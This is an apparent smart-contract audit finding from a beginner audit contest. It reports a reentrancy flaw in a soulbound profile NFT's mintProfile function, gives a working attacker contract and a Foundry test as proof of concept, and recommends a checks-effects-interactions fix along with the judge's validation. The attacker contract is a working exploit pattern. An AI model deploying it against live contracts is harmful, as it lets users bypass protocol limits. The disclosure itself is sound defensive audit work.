DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

mintProfile function is Vulnerable to Reentrancy (Multiple NFT Minting per User)

Description

The mintProfile function mints a soulbound NFT for the caller, ensuring that each address can only have one profile. However, this function does not follow the checks-effects-interactions pattern, making it vulnerable to reentrancy if the _safeMint() function calls an external contract (such as a malicious ERC721 receiver).

If an attacker deploys a malicious contract implementing onERC721Received, they can reenter mintProfile before profileToToken[msg.sender] is updated, allowing them to mint multiple NFTs for the same address. While only the last minted profile remains usable, this still violates the intended logic of the contract, which is to strictly enforce one profile per user, undermining the integrity of the system.

Impact

  • Bypassing the one-profile-per-user rule, an attacker can mint multiple soulbound NFTs, breaking the intended logic.

Tools Used

  • Slither

  • Manual

Proof of Concept

First we create a contract to attack:

contract ReentrancyAttack {
SoulboundProfileNFT public target;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack(string memory name, uint8 age, string memory profileImage) external {
target.mintProfile(name, age, profileImage);
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
// Reenter the mintProfile function before profileToToken[msg.sender] is updated
target.mintProfile("Hacked", 66, "ipfs://hacked-image");
return this.onERC721Received.selector;
}
}

If we put this code in the testSoulboundProfileNTF.t.sol

function testReentrancy() public {
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
address(soulboundNFT)
);
hoax(address(reentrancyAttack), 10 ether);
reentrancyAttack.attack("Pablo", 25, "ipfs://profileImage");
console.log(
"Profile number: ",
soulboundNFT.profileToToken(address(reentrancyAttack))
);
hoax(user, 1 ether);
soulboundNFT.mintProfile("Pablito", 25, "ipfs://profileImage");
uint256 tokenId = soulboundNFT.profileToToken(user);
assertEq(tokenId, 6); // We can see that 5 accounts was created before user
}

Recommendations

Follow the Checks-Effects-Interactions Pattern:
Move _profiles[tokenId] and profileToToken[msg.sender] updates before _safeMint() to prevent reentrancy.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// ✅ Apply updates first to prevent reentrancy
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.